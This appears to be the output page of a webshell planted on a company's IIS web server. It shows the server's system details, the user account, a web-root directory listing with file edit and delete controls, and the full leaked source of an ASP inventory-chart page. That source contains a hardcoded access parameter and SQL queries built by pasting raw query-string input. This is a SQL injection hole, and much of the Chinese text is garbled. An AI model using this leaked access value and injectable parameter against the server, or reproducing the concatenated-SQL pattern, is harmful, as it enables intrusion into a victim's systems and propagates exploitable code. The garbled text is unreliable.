Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <%Response.Charset="gb2312"%> <!--#include file="include/conn.asp" --> <%Server.Scripttimeout = 5000%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="robots" content="noindex,nofollow"> <script type="text/javascript" src="js/echarts.min.js" charset="utf-8"></script> <script type="text/javascript" src="http://code.jquery.com/jquery-1.12.2.js"></script> <title>ASC���ʹ�˾</title> <style> table{ border: solid 1px #000000; } table tr td{ border-Bottom: dotted 1px #000000; border-top: dotted 1px #000000; border-right: dotted 1px #000000; border-left-width:1px; border-left-color:#000000; } .box{ border-left-width:3px; border-left-color:#FF0000; border-Bottom: dotted 1px #000000; border-top: dotted 1px #000000; border-right: dotted 1px #000000; } </style> </head> <body style="text-align:center; margin:0 auto;"> <% flgRead = Request.Querystring("arg") if flgRead <> "Asc365NewSys" then response.end arg1 = Request.Querystring("prd") arg2 = Request.Querystring("arg2") fba = Request.Querystring("fba") sqlprd = "select prdcode,prdname from bu_prdprd where prdmd5 = '" & arg1 & "'" set rsprd = server.CreateObject("adodb.recordset") rsprd.open sqlprd,conn,1,1 prdcode = rsprd(0) prdname = rsprd(1) rsprd.close fromdate = "2021-01-01" todate = DateAdd("d",-1,date()) set rsprd = nothing country = "" storstr = "" curpurtyp = "" if arg2 = "usa" then tt = prdcode & prdname & "��������Ԥ�������仯���" if fba = 1 then country = "����FBA" sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY = '����' and STORTYP ='FBA�ֿ�' for xml path('')) as storstr,dbo.GetPurtypString('����','fba') as curpurtyp" set rs = server.CreateObject("adodb.recordset") rs.open sqlstore,conn,1,1 storstr = rs(0) curpurtyp = rs(1) rs.close set rs = nothing if len(storstr) >0 then storstr = "(" & left(storstr,len(storstr) - 1) & ")" sql = " select opdt, cntneedusafba from AA_STOREWARNINGRIJIE where prdcode = '" & prdcode & "' and opdt between '" & fromdate & "' and '" & todate & "' order by opdt" sqlcaigou = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10 = '" & prdcode & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" 'FBA���� sqlkc = "Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREALL where OPDT between '2020-12-01' and '" & todate & "' and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT order by OPDT" sqlxiaoshou = "select a.dt,coalesce(amt,0) as amt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (select createdate,sum(amt) as amt from ( SELECT cast(createtime as date) as createdate, (case when dbcr = -1 then quantity else 0 end) as amt FROM AA_INOUTPRD2 as a WITH(NOLOCK) where a.RECTYP = '31' and stortyp like '%1' and STORCODE in " & storstr & " and createtime >= dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and createtime < dateadd(d,121,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE10 = '" & prdcode & "') aa group by createdate) b on a.dt = b.createdate order by a.dt" sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREPRD where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" 'sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory2.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in ('F02','F03','F04','F06','FBA') and PRDCODE = '" & prdcode & "' group by OPDT union all Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory3.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in ('F02','F03','F04','F06','FBA') and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" else country = "����" sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY = '����' and STORTYP in ('�������ֿ�','���вֿ�') for xml path('')) as storstr,dbo.GetPurtypString('����','') as curpurtyp" set rs = server.CreateObject("adodb.recordset") rs.open sqlstore,conn,1,1 storstr = rs(0) curpurtyp = rs(1) rs.close set rs = nothing if len(storstr) >0 then storstr = "(" & left(storstr,len(storstr) - 1) & ")" sql = " select opdt,cntneedusa from AA_STOREWARNINGRIJIE where prdcode = '" & prdcode & "' and opdt between '" & fromdate & "' and '" & todate & "' order by opdt" sqlcaigou = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10 = '" & prdcode & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" '���� sqlkc = "Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREALL where OPDT between '2020-12-01' and '" & todate & "' and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT order by OPDT" sqlxiaoshou = "select a.dt,coalesce(amt,0) as amt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (select createdate,sum(amt) as amt from ( SELECT cast(createtime as date) as createdate, (case when dbcr = -1 then quantity else 0 end) as amt FROM AA_INOUTPRD2 as a WITH(NOLOCK) where a.RECTYP = '31' and stortyp like '%1' and STORCODE in " & storstr & " and createtime >= dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and createtime < dateadd(d,121,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE10 = '" & prdcode & "') aa group by createdate) b on a.dt = b.createdate order by a.dt" sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREPRD where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" 'sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory2.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in ('jjs','tpp','lsj','JSH','TP2','JS2','NYF') and PRDCODE = '" & prdcode & "' group by OPDT union all Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory3.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in ('jjs','tpp','lsj','JSH','TP2','JS2','NYF') and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" end if else tt = prdcode & prdname & "�ڼ��ô��Ԥ�������仯���" if fba = 1 then country = "���ô�FBA" sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY = '���ô�' and STORTYP ='FBA�ֿ�' for xml path('')) as storstr,dbo.GetPurtypString('���ô�','fba') as curpurtyp" set rs = server.CreateObject("adodb.recordset") rs.open sqlstore,conn,1,1 storstr = rs(0) curpurtyp = rs(1) rs.close set rs = nothing if len(storstr) >0 then storstr = "(" & left(storstr,len(storstr) - 1) & ")" sql = "select opdt,cntneedcafba from AA_STOREWARNINGRIJIE where prdcode = '" & prdcode & "' and opdt between '" & fromdate & "' and '" & todate & "' order by opdt " sqlcaigou = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10 = '" & prdcode & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" 'FBA���ô� sqlkc = "Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREALL where OPDT between '2020-12-01' and '" & todate & "' and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT order by OPDT" sqlxiaoshou = "select a.dt,coalesce(amt,0) as amt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (select createdate,sum(amt) as amt from ( SELECT cast(createtime as date) as createdate, (case when dbcr = -1 then quantity else 0 end) as amt FROM AA_INOUTPRD2 as a WITH(NOLOCK) where a.RECTYP = '31' and stortyp like '%1' and STORCODE in " & storstr & " and createtime >= dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and createtime < dateadd(d,121,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE10 = '" & prdcode & "') aa group by createdate) b on a.dt = b.createdate order by a.dt" sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREPRD where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" 'sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory2.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in ('F01','F07') and PRDCODE = '" & prdcode & "' group by OPDT union all Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory3.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in ('F01','F07') and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" else country = "���ô�" sqlstore = "select (select '''' + storcode + ''',' from BA_STORDF where COUNTRY = '���ô�' and STORTYP in ('�������ֿ�','���вֿ�') for xml path('')) as storstr,dbo.GetPurtypString('���ô�','') as curpurtyp" set rs = server.CreateObject("adodb.recordset") rs.open sqlstore,conn,1,1 storstr = rs(0) curpurtyp = rs(1) rs.close set rs = nothing if len(storstr) >0 then storstr = "(" & left(storstr,len(storstr) - 1) & ")" sql = "select opdt,cntneedca from AA_STOREWARNINGRIJIE where prdcode = '" & prdcode & "' and opdt between '" & fromdate & "' and '" & todate & "' order by opdt " sqlcaigou = "select dt,coalesce(b.amt,0) as amt from (select cast(dateadd(D,number,'" & fromdate & "') as date) as dt from master.dbo.spt_values where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '" & todate & "')) a left join (select dttijiao,sum(PURQTY ) as amt from (select cast(a.DTTiJiao as date) as dttijiao,b.PURQTY from BU_PURORDER a,BU_PURORDERLIST b where a.PURORDERNO = b.PURORDERNO and cast(DTTiJiao as date) between '" & fromdate & "' and '" & todate & "' and b.PRDCODE10 = '" & prdcode & "' and a.STATUS >0 and a.STATUS <> 11 and PURTYP in " & curpurtyp & ") s group by dttijiao ) b on a.dt = b.dttijiao order by dt" '���ô� sqlkc = " Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREALL where OPDT between '2020-12-01' and '" & todate & "' and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT order by opdt" sqlxiaoshou = "select a.dt,coalesce(amt,0) as amt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (select createdate,sum(amt) as amt from ( SELECT cast(createtime as date) as createdate, (case when dbcr = -1 then quantity else 0 end) as amt FROM AA_INOUTPRD2 as a WITH(NOLOCK) where a.RECTYP = '31' and stortyp like '%1' and STORCODE in " & storstr & " and createtime >= dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and createtime < dateadd(d,121,dateadd(yyyy,-1,'" & todate & "')) and PRDCODE10 = '" & prdcode & "') aa group by createdate) b on a.dt = b.createdate order by a.dt" sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from VAA_STORERIJIEPREPRD where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE in " & storstr & " and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" 'sqlkcpre = "select a.dt,coalesce(zp,0) as zp ,coalesce(zpky,0) as zpky ,coalesce(zpzy,0) as zpzy ,coalesce(zpzt,0) as zpzt from ( select cast(dateadd(D,number,dateadd(yyyy,-1,dateadd(d,1,'" & todate & "'))) as date) as dt from master.dbo.spt_values where type ='P' and number <120) a left join (Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory2.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE ='dld' and PRDCODE = '" & prdcode & "' group by OPDT union all Select OPDT,sum(��Ʒ����+��Ʒռ�� + ��Ʒ��;) as zp,sum(��Ʒ����) as zpky ,sum(��Ʒռ��) as zpzy,sum(��Ʒ��;) as zpzt from CBEhistory3.dbo.AA_STORERIJIEPRE with(nolock,index(IX_AA_STORERIJIEPRE2)) where OPDT between dateadd(yyyy,-1,dateadd(d,1,'" & todate & "')) and dateadd(d,120,dateadd(yyyy,-1,'" & todate & "')) and STORCODE ='dld' and PRDCODE = '" & prdcode & "' group by OPDT)b on a.dt = b.OPDT order by a.dt" end if end if datedt = "[" dtzong = "[" dtxs = "[" '�������� kczppre = "[" kczpkypre = "[" kczpzypre = "[" kczpztpre = "[" set rs = server.CreateObject("adodb.recordset") rs.open sql,conn,1,1 do while not rs.eof datedt = datedt & "'" & rs(0) & "'," dtzong = dtzong & rs(1) & "," dtxs = dtxs & "''," kczppre = kczppre & "''," kczpkypre = kczpkypre &"''," kczpzypre = kczpzypre &"''," kczpztpre = kczpztpre &"''," rs.movenext loop dtzong = left(dtzong,len(dtzong) -1) & "]" rs.close set rs = nothing dtcaigou = "[" set rs = server.CreateObject("adodb.recordset") rs.open sqlcaigou,conn,1,1 do while not rs.eof dtcaigou = dtcaigou & rs(1) & "," rs.movenext loop dtcaigou = left(dtcaigou,len(dtcaigou) -1) & "]" rs.close set rs = nothing kczp = "[" kczpky = "[" kczpzy = "[" kczpzt = "[" set rs = server.CreateObject("adodb.recordset") rs.open sqlkc,conn,1,1 do while not rs.eof diff = datediff("d",fromdate,rs(0)) if diff >=0 then if diff > 0 and kczp = "[" then for i = 0 to diff -1 dttmp = dateadd("d",i,fromdate) kczp = kczp & "0," kczpky = kczpky & "0," kczpzy = kczpzy & "0," kczpzt = kczpzt & "0," next end if kczp = kczp & rs(1) & "," kczpky = kczpky & rs(2) & "," kczpzy = kczpzy & rs(3) & "," kczpzt = kczpzt & rs(4) & "," end if rs.movenext loop if len(kczp) = 1 then diff = datediff("d",fromdate,todate) for i = 0 to diff kczp = kczp & "0," kczpky = kczpky & "0," kczpzy = kczpzy & "0," kczpzt = kczpzt & "0," next end if kczp = left(kczp,len(kczp) -1) & "]" kczpky = left(kczpky,len(kczpky) -1) & "]" kczpzy = left(kczpzy,len(kczpzy) -1) & "]" kczpzt = left(kczpzt,len(kczpzt) -1) & "]" rs.close set rs = nothing set rs = server.CreateObject("adodb.recordset") rs.open sqlxiaoshou,conn,1,1 do while not rs.eof datedt = datedt & "'" & rs(0) & "'," dtxs = dtxs & rs(1) & "," rs.movenext loop dtxs = left(dtxs,len(dtxs) -1) & "]" datedt = left(datedt,len(datedt) -1) & "]" set rs = server.CreateObject("adodb.recordset") rs.open sqlkcpre,conn,1,1 do while not rs.eof kczppre = kczppre & rs(1) & "," kczpkypre = kczpkypre & rs(2) & "," kczpzypre = kczpzypre & rs(3) & "," kczpztpre = kczpztpre & rs(4) & "," rs.movenext loop kczppre = left(kczppre,len(kczppre) -1) & "]" kczpkypre = left(kczpkypre,len(kczpkypre) -1) & "]" kczpzypre = left(kczpzypre,len(kczpzypre) -1) & "]" kczpztpre = left(kczpztpre,len(kczpztpre) -1) & "]" rs.close set rs = nothing conn.close set conn = nothing tt = replace(tt,"'","\'") %> <div id="container" style="text-align:center; height:93%" >Loading...</div> </div> </body> </html> <script type="text/javascript"> var mydd = [<%=dtzong%>,<%=dtcaigou%>,<%=kczp%>,<%=kczpky%>,<%=kczpzy%>,<%=kczpzt%>,<%=dtxs%>,<%=kczppre%>,<%=kczpkypre%>,<%=kczpzypre%>,<%=kczpztpre%>]; var dataX = <%=datedt%> var dom = document.getElementById("container"); var myChart = echarts.init(dom); var app = {}; option = null; option = { title: { text: '<%=tt%>', left:'center' }, tooltip: { trigger: 'axis' }, legend: { data:['Ԥ���������','�ɹ��ύ����','\n','��Ʒ��ϼ�','��Ʒ����','��Ʒռ��','��Ʒ��;','ȥ���120������','\n','ȥ���120����Ʒ���ϼ�','ȥ���120����Ʒ���ÿ��','ȥ���120����Ʒռ�ÿ��','ȥ���120����Ʒ��;���'], selected:{'Ԥ���������':true,'�ɹ��ύ����':true,'��Ʒ��ϼ�':false,'��Ʒ����':true,'��Ʒռ��':false,'��Ʒ��;':false,'ȥ���120������':true,'ȥ���120����Ʒ���ϼ�':false,'ȥ���120����Ʒ���ÿ��':true,'ȥ���120����Ʒռ�ÿ��':false,'ȥ���120����Ʒ��;���':false}, left:'center', top: '50' }, grid: { top: '120', left: '3%', right: '4%', bottom: '5%', containLabel: true }, toolbox: { feature: { dataView : {show: true, readOnly: false,title:'�鿴����'}, saveAsImage: { title: '����ΪͼƬ' } } }, xAxis: { name: '����', type: 'category', boundaryGap: false, data: dataX }, yAxis: { name: '<%=country%>����', type: 'value', scale:'true', nameTextStyle:{ fontSize:'15' } }, dataZoom:[{ //startValue: dataX[0] start:0, end:100 },{ type: 'inside' }], series: [ { name: 'Ԥ���������', type:'line', data: mydd[0] }, { name: '�ɹ��ύ����', type:'bar', data: mydd[1] }, { name: '��Ʒ��ϼ�', type:'line', data: mydd[2] }, { name: '��Ʒ����', type:'line', data: mydd[3] }, { name: '��Ʒռ��', type:'line', data: mydd[4] }, { name: '��Ʒ��;', type:'line', data: mydd[5] }, { name: 'ȥ���120������', type:'line', data: mydd[6] }, { name: 'ȥ���120����Ʒ���ϼ�', type:'line', data: mydd[7] }, { name: 'ȥ���120����Ʒ���ÿ��', type:'line', data: mydd[8] }, { name: 'ȥ���120����Ʒռ�ÿ��', type:'line', data: mydd[9] }, { name:'ȥ���120����Ʒ��;���', type:'line', data: mydd[10] } ] }; ; if (option && typeof option === "object") { myChart.setOption(option, true); } </script>